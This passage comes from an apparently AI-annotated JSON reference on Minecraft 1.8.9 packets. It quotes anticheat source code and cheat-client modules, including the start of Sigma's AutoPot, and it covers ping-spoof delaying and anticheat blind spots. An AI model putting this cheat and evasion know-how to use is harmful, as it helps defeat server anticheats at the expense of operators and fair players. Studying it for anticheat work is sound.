wasInVehicle) {\n            player.handleDismountVehicle(event);\n        }\n        // Better lag compensation if we were affected by this\n        if (wasInVehicle || inThisVehicle) {\n            player.sendTransaction();\n        }\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity vehicle = player.compensatedEntities.getEntity(vehicleID);\n\n            // Vanilla likes sending null vehicles, so we must ignore those like the client ignores them\n            if (vehicle == null) return;\n\n            // Eject existing passengers for this vehicle\n            for (PacketEntity passenger : new ArrayList<>(vehicle.passengers)) {\n                passenger.eject();\n            }\n\n            // Add the entities as vehicles\n            for (int entityID : passengers) {\n                PacketEntity passenger = player.compensatedEntities.getEntity(entityID);\n                if (passenger == null) continue;\n                passenger.mount(vehicle);\n            }\n        });\n    }\n\n    private void handleMoveEntity(PacketSendEvent event, int entityId, double deltaX, double deltaY, double deltaZ, Float yaw, Float pitch, boolean isRelative, boolean hasPos) {\n        TrackerData data = player.compensatedEntities.getTrackedEntity(entityId);\n\n        final boolean didNotSendPreWave = hasSentPreWavePacket.compareAndSet(false, true);\n        if (didNotSendPreWave) player.sendTransaction();\n\n        if (data != null) {\n            // Update the tracked server's entity position\n            if (isRelative) {\n                // There is a bug where vehicles may start flying due to mojang setting packet position on the client\n                // (Works at 0 ping but causes funny bugs at any higher ping)\n                // As we don't want vehicles to fly, we need to replace it with a teleport if it is player vehicle\n                //\n                // Don't bother with client controlled vehicles though\n                boolean vanillaVehicleFlight = player.compensatedEntities.serverPlayerVehicle != null\n                        && player.compensatedEntities.serverPlayerVehicle == entityId\n                        && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9)\n                        // TODO: https://discord.com/channels/721686193061888071/721686193515003966/1310659538831020123\n                        // Why does the server now send an entity rel move packet matching the player's vehicle movement every time?\n                        && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_21_2)\n                        && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9);\n\n                // ViaVersion sends two relative packets when moving more than 4 blocks\n                // This is broken and causes the client to interpolate like (0, 4) and (1, 3) instead of (1, 7)\n                // This causes impossible hits, so grim must replace this with a teleport entity packet\n                // Not ideal, but neither is 1.8 players on a 1.9+ server.\n                if (vanillaVehicleFlight ||\n                        ((Math.abs(deltaX) >= 3.9375 || Math.abs(deltaY) >= 3.9375 || Math.abs(deltaZ) >= 3.9375) && player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))) {\n                    player.user.writePacket(new WrapperPlayServerEntityTeleport(entityId, new Vector3d(data.getX() + deltaX, data.getY() + deltaY, data.getZ() + deltaZ), yaw == null ? data.getXRot() : yaw, pitch == null ? data.getYRot() : pitch, false));\n                    event.setCancelled(true);\n                    return;\n                }\n\n                data.setX(data.getX() + deltaX);\n                data.setY(data.getY() + deltaY);\n                data.setZ(data.getZ() + deltaZ);\n            } else {\n                data.setX(deltaX);\n                data.setY(deltaY);\n                data.setZ(deltaZ);\n            }\n            if (yaw != null) {\n                data.setXRot(yaw);\n                data.setYRot(pitch);\n            }\n\n            // We can't hang two relative moves on one transaction\n            if (data.getLastTransactionHung() == player.lastTransactionSent.get()) {\n                player.sendTransaction();\n            }\n            data.setLastTransactionHung(player.lastTransactionSent.get());\n        }\n\n        int lastTrans = player.lastTransactionSent.get();\n\n        player.latencyUtils.addRealTimeTask(lastTrans, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            if (entity instanceof PacketEntityTrackXRot xRotEntity && yaw != null) {\n                xRotEntity.packetYaw = yaw;\n                xRotEntity.steps = entity.isBoat ? 10 : 3;\n            }\n\n            entity.onFirstTransaction(isRelative, hasPos, deltaX, deltaY, deltaZ, player);\n        });\n\n        player.latencyUtils.addRealTimeTask(lastTrans + 1, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            entity.onSecondTransaction();\n        });\n    }\n\n    public void addEntity(int entityID, UUID uuid, EntityType type, Vector3d position, float xRot, float yRot, List<EntityData<?>> entityMetadata, int extraData) {\n        if (despawnedEntitiesThisTransaction.contains(entityID)) {\n            player.sendTransaction();\n        }\n\n        player.compensatedEntities.serverPositionsMap.put(entityID, new TrackerData(position.getX(), position.getY(), position.getZ(), xRot, yRot, type, player.lastTransactionSent.get()));\n\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity entity = player.compensatedEntities.addEntity(entityID, uuid, type, position, xRot, extraData);\n            if (entity instanceof DashableEntity dashable) {\n                player.dashableEntities.addEntity(entityID, dashable);\n            }\n\n            if (entityMetadata != null) {\n                if (EntityMetadataPoseUtil.usesPoseMetadata(entity) && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14)) {\n                    Pose initialPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata);\n                    if (initialPose != null) {\n                        entity.currentPose = initialPose;\n                    }\n                }\n\n                player.compensatedEntities.updateEntityMetadata(entityID, entityMetadata);\n            }\n        });\n    }\n\n    private void schedulePoseTransition(WrapperPlayServerEntityMetadata entityMetadata, PacketSendEvent event) {\n        if (player.getClientVersion().isOlderThan(ClientVersion.V_1_14)) return;\n\n        int entityId = entityMetadata.getEntityId();\n        if (entityId == player.entityID) return;\n\n        Pose newPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata.getEntityMetadata());\n        if (newPose == null) return;\n\n        boolean shouldTrackPoseTransition = false;\n        PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n        if (entity != null) {\n            shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(entity);\n        } else {\n            // If the client didn't respond to the spawn packet yet, we need to check if we should track the pose transition based on the entity type\n            // is there a better way to do this?\n            TrackerData trackedEntity = player.compensatedEntities.getTrackedEntity(entityId);\n            if (trackedEntity != null) {\n                shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(trackedEntity.getEntityType());\n            }\n        }\n\n        if (!shouldTrackPoseTransition) return;\n\n        player.sendTransaction();\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity target = player.compensatedEntities.getEntity(entityId);\n            if (target == null) {\n                return;\n            }\n\n            target.beginPoseTransition(newPose);\n        });\n\n        event.getTasksAfterSend().add(() -> {\n            player.sendTransaction();\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity target = player.compensatedEntities.getEntity(entityId);\n                if (target == null) {\n                    return;\n                }\n\n                target.completePoseTransition(newPose);\n            });\n        });\n    }\n\n    private boolean isDirectlyAffectingPlayer(GrimPlayer player, int entityID) {\n        // The attributes for this entity is active, currently\n        return (player.compensatedEntities.serverPlayerVehicle == null && entityID == player.entityID) ||\n                (player.compensatedEntities.serverPlayerVehicle != null && entityID == player.compensatedEntities.serverPlayerVehicle);\n    }\n\n    public void onEndOfTickEvent(boolean async, boolean flush) {\n        // Only send a transaction at the end of the tick if we are tracking players\n        player.sendTransaction(async);\n        if (flush) player.user.flushPackets();\n    }\n\n    public void tickStartTick() {\n        hasSentPreWavePacket.set(false);\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        maxFireworkBoostPing = config.getIntElse(\"max-ping-firework-boost\", 1000);\n    }\n\n}\n// NOTE (AI): The ATTACH_ENTITY branch is lines 351-376 (1.8-to-1.9+ mount conversion, invalid-entity warning); SetbackTeleportUtil lines 246-248 sends the matching detach during teleport setbacks. This file is also the detailed_code for the S0E/S0F/S2F/S38 entries; the S1B branch is the cited region.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java",
       "variations": "Grim SetbackTeleportUtil (line 246) emits the detach itself on the 1.8 wire path during setbacks. No other anticheat mirrors attach state into a simulation."
      },
      {
       "name": "Vehicle prediction sync (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Apply the player's attach and detach to the prediction engine under a transaction confirmation so movement emulation knows when the player rides a vehicle.",
       "how_it_works": "MiscellaneousPreProcessor matches GPacketPlayServerEntityAttach: when the attach targets the player's own entity id, it registers a confirmFunctionAndTick on the TRANSACTION confirmation; at pre() the prediction vehicle is set from the vehicle id through NMS, and a null vehicle triggers resetMotion so the emulator stops attributing vehicle physics to the player.",
       "detects": "Nothing directly: state sync. It feeds EmulatorPreProcessor's vehicle-aware movement simulation, which is what keeps vehicle-related motion flags accurate.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/miscellaneous/MiscellaneousPreProcessor.java =====\npackage ac.artemis.core.v4.processor.miscellaneous;\n\nimport ac.artemis.core.v4.check.FastProcessHandler;\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.core.v4.data.holders.ConnectionHolder;\nimport ac.artemis.core.v4.nms.NMSManager;\nimport ac.artemis.core.v4.processor.AbstractHandler;\nimport ac.artemis.core.v4.utils.function.PacketAction;\nimport cc.ghast.packet.PacketAPI;\nimport cc.ghast.packet.wrapper.mc.PlayerEnums;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientClientCommand;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientWindowClose;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientHeldItemSlot;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientTransaction;\nimport cc.ghast.packet.wrapper.packet.play.server.*;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\n\n/**\n * @author Ghast\n * @since 06-Mar-20\n */\npublic class MiscellaneousPreProcessor extends AbstractHandler implements FastProcessHandler {\n\n    public MiscellaneousPreProcessor(PlayerData data) {\n        super(\"Misc [0x01]\", data);\n    }\n\n    @Override\n    public void handle(final GPacket packet) {\n        long now = System.currentTimeMillis();\n        if (packet instanceof GPacketPlayClientHeldItemSlot) {\n            data.user.usingItem = false;\n        }\n\n        else if (packet instanceof GPacketPlayClientClientCommand) {\n            final GPacketPlayClientClientCommand cmd = (GPacketPlayClientClientCommand) packet;\n            if (cmd.getCommand().equals(PlayerEnums.ClientCommand.PERFORM_RESPAWN)) {\n                data.user.setLastRespawn(packet.getTimestamp());\n                data.prediction.setVehicle(null);\n            }\n        }\n\n        else if (packet instanceof GPacketPlayClientTransaction) {\n            final GPacketPlayClientTransaction trx = (GPacketPlayClientTransaction) packet;\n            if (!trx.isAccepted()) {\n                //data.user.setInventoryOpen(true);\n            }\n        }\n\n        else if (packet instanceof GPacketPlayClientWindowClose) {\n            data.user.setInventoryOpen(false);\n        }\n\n\n\n        /*else if (packet instanceof GPacketPlayServerEntityTeleport) {\n            final GPacketPlayServerEntityTeleport tp = (GPacketPlayServerEntityTeleport) packet;\n\n            if (data.prediction.getVehicle() != null &&\n                    (tp.getEntityId() == data.getPlayer().getEntityId() || tp.getEntityId() == data.prediction.getVehicle().getEntityId())) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(null);\n                    }\n                });\n            }\n        }*/\n\n        /*else if (packet instanceof GPacketPlayServerPosition) {\n            if (data.prediction.getVehicle() != null) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(null);\n                    }\n                });\n            }\n        }*/\n\n        data.timing.miscTiming.addTime(now, System.currentTimeMillis());\n    }\n\n    @Override\n    public void fastHandle(GPacket packet) {\n        if (packet instanceof GPacketPlayServerRespawn) {\n            data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    data.user.setLastRespawn(packet.getTimestamp());\n                    data.user.setInventoryOpen(false);\n                    data.prediction.setVehicle(null);\n                }\n            });\n        }\n\n        else if (packet instanceof GPacketPlayServerWindowClose) {\n            data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    data.user.setInventoryOpen(false);\n                }\n            });\n        }\n\n        else if (packet instanceof GPacketPlayServerEntityAttach) {\n            final GPacketPlayServerEntityAttach attach = (GPacketPlayServerEntityAttach) packet;\n\n            if (attach.getEntityId() == data.getPlayer().getEntityId()) {\n                data.connection.confirmFunctionAndTick(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(NMSManager.getInms().getEntity(data.getPlayer().getWorld(), attach.getVehicleId()));\n                        if (data.prediction.getVehicle() == null) {\n                            data.resetMotion();\n                        }\n                    }\n                });\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerEntityDestroy) {\n            final GPacketPlayServerEntityDestroy dtr = (GPacketPlayServerEntityDestroy) packet;\n\n            final boolean flag = data.prediction.getVehicle() != null\n                    && Arrays.stream(dtr.getEntities()).anyMatch(e -> data.prediction.getVehicle().getEntityId() == e);\n            if (flag) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(null);\n                        data.resetMotion();\n                    }\n                });\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerBed) {\n            final GPacketPlayServerBed bed = (GPacketPlayServerBed) packet;\n\n            if (bed.getPlayerID() == data.getPlayer().getEntityId()) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(null);\n                        data.resetMotion();\n                    }\n                });\n            }\n        }\n    }\n}\n// NOTE (AI): The GPacketPlayServerEntityAttach branch is lines 109-121. The same file hosts the S07 respawn entry; the attach branch is the cited region.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/miscellaneous/MiscellaneousPreProcessor.java",
       "variations": "Kauri PacketHandler (line 431) wraps the same packet on the send side. Intave tracks attach state through EntityTracker.sendAttachEntityPacket (line 120) in addition to its reader. FlopAC's WrappedOutAttachEntity and Artemis's own GPacketPlayServerEntityAttach are wrappers; Negativity's ATTACH_ENTITY constant is a registration."
      },
      {
       "name": "Attach reader (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Expose the attach packet's two int fields (entity id, vehicle id) to the substitution pipeline so entity filters can rewrite or drop attach packets.",
       "how_it_works": "AttachEntityReader extends AbstractPacketReader and implements EntityIterable: entityId() and vehicleId() read the two ints, and the SubstitutionIterator allows filters to write either field back into the packet (slot 1 rewrites the entity id, slot 2 the vehicle id). It is registered in PacketReaders as ATTACH_ENTITY.",
       "detects": "Nothing directly: a packet reader. It is the intake point for Intave's entity substitution and filtering, which feed the entity tracker that movement checks consult.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/packet/reader/AttachEntityReader.java =====\npackage de.jpx3.intave.packet.reader;\n\nimport org.jetbrains.annotations.NotNull;\n\npublic final class AttachEntityReader extends AbstractPacketReader implements EntityIterable {\n  public int entityId() {\n    return packet().getIntegers().read(0);\n  }\n\n  public int vehicleId() {\n    return packet().getIntegers().read(1);\n  }\n\n  private int slot = 0;\n  private final SubstitutionIterator<Integer> STATIC_ITERATOR = new SubstitutionIterator<Integer>() {\n    @Override\n    public void set(Integer integer) {\n      if (slot == 1) {\n        packet().getIntegers().write(0, integer);\n      } else if (slot == 2) {\n        packet().getIntegers().write(1, integer);\n      }\n    }\n\n    @Override\n    public boolean hasNext() {\n      return slot < 2;\n    }\n\n    @Override\n    public Integer next() {\n      return packet().getIntegers().read(slot++);\n    }\n  };\n\n  @Override\n  public @NotNull SubstitutionIterator<Integer> iterator() {\n    slot = 0;\n    return STATIC_ITERATOR;\n  }\n}\n// NOTE (AI): Registered in PacketReaders.setup(ATTACH_ENTITY, AttachEntityReader::new) at line 34; EntityTracker.sendAttachEntityPacket at line 120 consumes the same packet for tracker state.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/packet/reader/AttachEntityReader.java",
       "variations": "Intave's EntityTracker also subscribes to the attach packet directly, and firework-rocket attach tracking in MovementMetadata is a separate 1.9+ mechanism. NCP's attach corpus hits are logger and listener bookkeeping, and Argus's CheckAttachedModules is its own client-module report channel; neither reads S1B."
      }
     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x1B: int entityId, int vehicleEntityId, unsigned byte leash flag.",
    "Leash byte 0 means riding and 1 means leash; vehicle -1 or null detaches.",
    "Sent once per mount or leash change; movement while riding uses vehicle packets.",
    "MCP 1.8.9 S1BPacketEntityAttach implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleEntityAttach; wire serde is readPacketData/writePacketData via readInt, readUnsignedByte.",
    "1.8.9 callers: EntityLiving.clearLeashed sends new S1BPacketEntityAttach (line 1179) +2 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityLiving.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S1BPacketEntityAttach/",
   "mcp_path": "net/minecraft/network/play/server/S1BPacketEntityAttach.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "EntityTrackerEntry"
   ]
  },
  {
   "id": "S1CPacketEntityMetadata",
   "hex": "0x1C",
   "dec": 28,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Entity Metadata",
   "desc": "Updates an entity's DataWatcher metadata (health, skin, flags, name, etc.).",
   "tags": [
    "entity",
    "metadata",
    "data"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "metadata",
     "type": "DataWatcher",
     "desc": "Serialized metadata entries"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Metadata",
     "DataWatcher",
     "Serialized key-value pairs"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleEntityMetadata()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "S1C carries changed or new DataWatcher entries for an entity. Metadata indexes: 0=flags (onFire/sneaking/riding/sprinting/flying), 1=airTicks, 2=nameTag, 3=nameVisible, 6=health (for living), 15/variant, 16/color (for horses), etc.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S1CPacketEntityMetadata carries DataWatcher updates for one entity: a list of WatchableObject entries, or the full watcher dump on spawn. EntityTrackerEntry sends the full watcher with the metadata flag true when a player enters tracking range (corpus line 360) and incremental changed entries otherwise (line 303). The client merges them into the entity's DataWatcher. Relevant indexes: 0 is the byte flags (sneaking, sprinting, invisible, riding), 2 the name tag, 3 name visibility, 6 health for living entities. The sneak flag (bit 1, byte value 2) is the one the corpus actually reads."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleEntityMetadata (Memeware 7.3 bundle, line 468) resolves the entity, guards against a null list and calls entity.getDataWatcher().updateWatchedObjectsFromList(list). The DataWatcher then notifies the renderer and any systems watching specific indexes. The same list rides inside S0CPacketSpawnPlayer and S0FPacketSpawnMob for the initial state."
     },
     {
      "h": "Why clients touch it",
      "p": "The canonical ESP/AntiInvis reads (invisibility flag, name-tag index) do not appear in the 8 clients; their renderers read entity fields after the vanilla handler applies S1C. The real hits: Rise 5.99 EagleA reads the sneak byte from the WatchableObjects, the only genuine module consumer; Sigma 4.11 AutoPot and InventoryManager import the class but never process it, polling isPotionActive and inventoryContainer on EventUpdate instead, so both imports are dead code; Rise 6.x PingSpoofComponent classifies S1C in its regular tuple, delayed with C0F and C00 during spoof, and NetworkAPI whitelists it for scripts."
     },
     {
      "h": "Exploit surface",
      "p": "Metadata is read-only intelligence: 1.8.9 has no serverbound metadata packet, so the stream is the only place the server's view of entity state leaks back to the client. That makes it the natural feed for anti-invis and name-tag modules, and its absence in these 8 clients is a design choice, not a protocol limitation. The sneak flag is the load-bearing bit for anticheats: eagle checks (Rise 5.99) read it against the S14 ground state, and any client that spoofs sneak serverbound via C0B must keep the server-visible flag consistent or the mismatch is a flag."
     }
    ],
    "overview": "The metadata stream is the server's mirror of entity state, but only one module in the corpus genuinely reads it: Rise 5.99's EagleA, which checks the sneak flag byte. Sigma's AutoPot and InventoryManager carry dead imports, and Rise 6.x classifies the packet for ping-spoof delay and scripts.",
    "server_handling": "Clientbound only. EntityTrackerEntry sends the full DataWatcher on tracking start and incremental entries on change; the client merges them via updateWatchedObjectsFromList. Index 0 byte flags encode sneaking (bit 1), sprinting (bit 3), invisible (bit 5) and riding (bit 6). No validation is applied to incoming values, so a malicious server can inject arbitrary metadata, which is why clients that care about server-side state reads (name tags, invisibility) consume it defensively.",
    "protocol_notes": "The packet carries a VarInt entityId followed by the DataWatcher serialization: repeated (index byte, type byte, value) triples terminated by 127, with an empty list meaning no changes. A full dump is flagged server-side by the boolean constructor argument (true on tracking start). Sneak is bit 1 of the flags byte, which decodes to exactly 2 when it is the only set bit, matching EagleA's equality check. Metadata changes do not touch position or rotation, so the packet interleaves freely with the S14/S18 stream.",
    "anticheat_landscape": "The sneak flag is the anticheat-relevant field: eagle and shift-tap checks correlate the flag with S14 ground transitions, and the Rise 5.99 EagleA check flags a sneak byte that appears within two ticks of walking off a ledge. Server anticheats compare the sneak flag against serverbound C0B sneak actions; a client whose metadata-visible sneak disagrees with its C0B stream leaks the discrepancy. Everything else in the packet (name tags, health) is cosmetic to anticheats.",
    "modules": [
     {
      "name": "EagleA",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Detect eagle (auto-sneak at block edges) by reading the sneak flag byte out of the tracked player's metadata stream.",
      "how_it_works": "On S14 relative moves it sets shouldEagle when the packet's onGround flag is true and the block below the reconstructed position is air, then counts ticks. On S1CPacketEntityMetadata for the tracked player it scans the WatchableObjects for a Byte whose value is exactly 2 (the sneak bit alone), and if shouldEagle is set with ticks <= 2 it increases the buffer and fails past 10; otherwise the buffer decays by 5.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/anticheat/check/impl/other/eagle/EagleA.java =====\npackage dev.rise.anticheat.check.impl.other.eagle;\n\nimport dev.rise.anticheat.check.Check;\nimport dev.rise.anticheat.check.api.CheckInfo;\nimport dev.rise.anticheat.data.PlayerData;\nimport dev.rise.anticheat.util.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport net.minecraft.block.Block;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.entity.DataWatcher;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S14PacketEntity;\nimport net.minecraft.network.play.server.S1CPacketEntityMetadata;\n\n@CheckInfo(name = \"Eagle\", type = \"A\", description = \"Detects Eagle\")\npublic final class EagleA extends Check {\n\n    private boolean shouldEagle;\n    private int ticks;\n\n    public EagleA(final PlayerData data) {\n        super(data);\n    }\n\n    @Override\n    public void handle(final Packet<?> packet) {\n        if (PacketUtil.isRelMove(packet)) {\n            final S14PacketEntity wrapper = ((S14PacketEntity) packet);\n\n            if (wrapper.onGround) {\n                final Block block = PlayerUtil.getBlock(data.getX(), data.getY() - 1, data.getZ());\n\n                if (block instanceof BlockAir) {\n                    shouldEagle = true;\n                    ticks++;\n                } else {\n                    shouldEagle = false;\n                    ticks = 0;\n                }\n            } else {\n                shouldEagle = false;\n                ticks = 0;\n            }\n        }\n\n        if (packet instanceof S1CPacketEntityMetadata) {\n            final S1CPacketEntityMetadata wrapper = (S1CPacketEntityMetadata) packet;\n            if (wrapper.func_149376_c() != null && wrapper.getEntityId() == data.getPlayer().getEntityId()) {\n                for (final DataWatcher.WatchableObject object : wrapper.func_149376_c()) {\n                    if (object.getObject() instanceof Byte && (byte) object.getObject() == 2) {\n                        if (shouldEagle && ticks <= 2) {\n                            if (increaseBuffer() > 10) {\n                                fail();\n                                shouldEagle = false;\n                                ticks = 0;\n                            }\n                        } else\n                            decreaseBufferBy(5);\n                    }\n                }\n            }\n        }\n    }\n}\n\n// NOTE (AI): The only genuine S1C consumer in the corpus. The check reads the DataWatcher sneak byte\n// NOTE (AI): (exactly 2) from the metadata stream for the tracked player and flags when it appears\n// NOTE (AI): within two S14 ticks of walking off a ledge, which is the signature of a client that\n// NOTE (AI): auto-sneaks at the edge instead of staying shifted.\n",
      "code_source": "Rise 5.99, dev/rise/anticheat/check/impl/other/eagle/EagleA.java",
      "vanilla_hook": "Raw packet stream via PlayerData.handle (S14 and S1C).",
      "anti_cheat_notes": "This is Rise's own client-side anticheat check. The equality check (byte == 2) only fires when sneak is the sole flag set, which misses combos (sneak + invisible), a blind spot of the shipped check.",
      "variations": "EagleA is the only check in the Rise 5.99 anticheat that consumes S1C; the S14 branch it shares with KeepSprintA, SpeedA and GroundSpoofA/B is documented under S14PacketEntity."
     },
     {
      "name": "AutoPot / InventoryManager",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Corpus hit is an import only: both modules import S1CPacketEntityMetadata but no shipped handler branches on it.",
      "how_it_works": "AutoPot registers only EventUpdate and decides when to drink from mc.thePlayer.isPotionActive and getHealth, then pots by swapping, sending C05 look and C08 placement. InventoryManager likewise registers only EventUpdate and manages inventoryContainer slots. The metadata import is a development leftover from an earlier design that read potion or armor state from the watcher stream; the shipped logic polls local state instead, which is equivalent because the vanilla handler already applied S1C to the entity.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/combat/AutoPot.java =====\npackage info.sigmaclient.module.impl.combat;\n\nimport java.util.ArrayList;\n\nimport net.minecraft.client.gui.GuiChat;\nimport net.minecraft.client.gui.inventory.GuiFurnace;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.enchantment.Enchantment;\nimport net.minecraft.enchantment.EnchantmentHelper;\nimport net.minecraft.item.Item;\nimport net.minecraft.item.ItemAppleGold;\nimport net.minecraft.item.ItemArmor;\nimport net.minecraft.item.ItemAxe;\nimport net.minecraft.item.ItemBlock;\nimport net.minecraft.item.ItemBow;\nimport net.minecraft.item.ItemFood;\nimport net.minecraft.item.ItemGlassBottle;\nimport net.minecraft.item.ItemPickaxe;\nimport net.minecraft.item.ItemPotion;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.item.ItemTool;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C0EPacketClickWindow;\nimport net.minecraft.network.play.server.S1CPacketEntityMetadata;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.potion.PotionEffect;\nimport net.minecraft.potion.PotionHelper;\nimport net.minecraft.util.MathHelper;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.MoveUtils;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.module.data.Setting;\nimport info.sigmaclient.module.impl.player.Scaffold;\nimport info.sigmaclient.util.RotationUtils;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport info.sigmaclient.util.misc.Timer;\n\n/*\n * Made by LeakedPvP\n */\npublic class AutoPot extends Module {\n\n\tpublic static final String SPEED = \"SPEED\";\n\tpublic static final String REGEN = \"REGEN\";\n\tpublic static final String HEALTH = \"HEALTH\";\n\tpublic static final String PREDICT = \"PREDICT\";\n    public AutoPot(ModuleData data) {   \t   \n        super(data);\n        settings.put(SPEED, new Setting<>(SPEED, true, \"Uses Speed pots.\"));\n        settings.put(REGEN, new Setting<>(REGEN, true, \"Uses Regen pots.\"));\n        settings.put(HEALTH, new Setting<>(HEALTH, 6, \"Maximum health before healing.\", 0.5, 0.5, 10));\n        settings.put(PREDICT, new Setting<>(PREDICT, false, \"Predicts where to pot when moving.\"));\n        \n    }\n\n    public static boolean potting;\n    Timer timer = new Timer();\n    @Override\n    public void onEnable() {\n        super.onEnable();\n    }\n    public static boolean isPotting(){\n    \treturn potting;\n    }\n    @Override\n    @RegisterEvent(events = {EventUpdate.class})\n    public void onEvent(Event event) {\n    \tif(event instanceof EventUpdate){\n            EventUpdate em =(EventUpdate)event;\n            final boolean speed = (Boolean) settings.get(SPEED).getValue();\n            final boolean regen = (Boolean) settings.get(REGEN).getValue();\n            if(!em.isPre())\n            \treturn;\n            if(timer.check(200)){\n            \tif(potting)\n            \t\tpotting = false;\n            }\n            int spoofSlot = getBestSpoofSlot();\n            int pots[] = {6,-1,-1};\n            if(regen)\n            \tpots[1] = 10;\n            if(speed)\n            \tpots[2] = 1;\n            \n            for(int i = 0; i < pots.length; i ++){\n            \tif(pots[i] == -1)\n            \t\tcontinue;\n            \tif(pots[i] == 6 || pots[i] == 10){\n            \t\tif(timer.check(900) && !mc.thePlayer.isPotionActive(pots[i])){\n                \t\tif(mc.thePlayer.getHealth() < ((Number)settings.get(HEALTH).getValue()).doubleValue()*2){\n                \t\t\tgetBestPot(spoofSlot, pots[i]);\n                \t\t}\n            \t\t}\n            \t}else\n            \tif(timer.check(1000) && !mc.thePlayer.isPotionActive(pots[i])){\n            \t\tgetBestPot(spoofSlot, pots[i]);               \t\t\n            \t}\n            }       \n    \t}\n    }\n  \n    public void swap(int slot1, int hotbarSlot){\n    \tmc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot1, hotbarSlot, 2, mc.thePlayer);\n    